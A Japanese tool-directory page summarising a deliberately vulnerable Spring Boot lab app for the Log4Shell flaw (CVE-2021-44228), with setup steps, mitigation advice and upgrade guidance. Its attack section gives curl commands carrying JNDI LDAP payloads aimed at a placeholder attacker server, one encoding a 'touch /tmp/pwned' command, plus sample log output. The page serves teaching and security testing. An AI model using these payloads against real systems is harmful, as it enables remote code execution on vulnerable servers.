Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j2-CVE-2021-44228 — Log4j2 JNDIインジェクション(CVE-2021-44228)を実演する脆弱なSpring Bootウェブアプリケーション。セキュリティテストと教育のためのエクスプロイト手順および緩和ガイダンスを提供します。 | Kitploit
ツール/GitHubGitHub/pravin-pp/log4j2-cve-2021-44228
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubpravin-pp/log4j2-cve-2021-44228

log4j2-CVE-2021-44228

Log4j2 JNDIインジェクション(CVE-2021-44228)を実演する脆弱なSpring Bootウェブアプリケーション。セキュリティテストと教育のためのエクスプロイト手順および緩和ガイダンスを提供します。

リポジトリを見る
114年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4j2 脆弱性サンプルアプリケーション (CVE-2021-44228)

影響を受けるバージョン: 2.0-beta9 から 2.14.1 までの全バージョン

このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。

これは Log4j 2.14.1 を使用しています (spring-boot-starter-log4j2 2.6.1 経由)。

アプリケーションの実行

実行方法:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

攻撃手順

  • 次に、以下のようにしてエクスプロイトをトリガーします:
root@kitploit:~
GET リクエストの場合 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


POST リクエストの場合 ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
  • 出力に注目してください。悪意のある LDAP サーバーに接続していることが示されています:
root@kitploit:~
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip
  • 実際の LDAP サーバーの詳細を指定すると、オブジェクトがダウンロードされ、Java プログラム内で実行されます。

この脆弱性は、アプリケーションが検証されていないデータのログメッセージを出力する場合、クライアント向けサーバーとバックエンドコアシステムの両方を含むすべてのサーバーに影響を及ぼします。

  • 例えば、エクスプロイトを含む User-Agent 文字列が、インデックス作成やデータサイエンスを行う Java で書かれたバックエンドシステムに渡され、そのエクスプロイトがログに記録される可能性があります。これが、Log4j バージョン 2 を使用するすべての Java ベースのソフトウェアを直ちにパッチ適用または対策を施すことが極めて重要である理由です。たとえインターネットに面したソフトウェアが Java で書かれていなくても、文字列が他の Java システムに渡される可能性があり、エクスプロイトが発生する恐れがあります。

対策 :

参考 : https://logging.apache.org/log4j/2.x/security.html

  • アプリケーションの迅速な修正 -> リリース 2.10 以降では、システムプロパティ log4j2.formatMsgNoLookups または環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで、この動作を緩和できます。リリース 2.0-beta9 から 2.10.0 までの場合の対策は、クラスパスから JndiLookup クラスを削除することです: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

  • アプリケーション内の log4j を 2.15.0 にアップグレードしてデプロイします。

ツールをダウンロード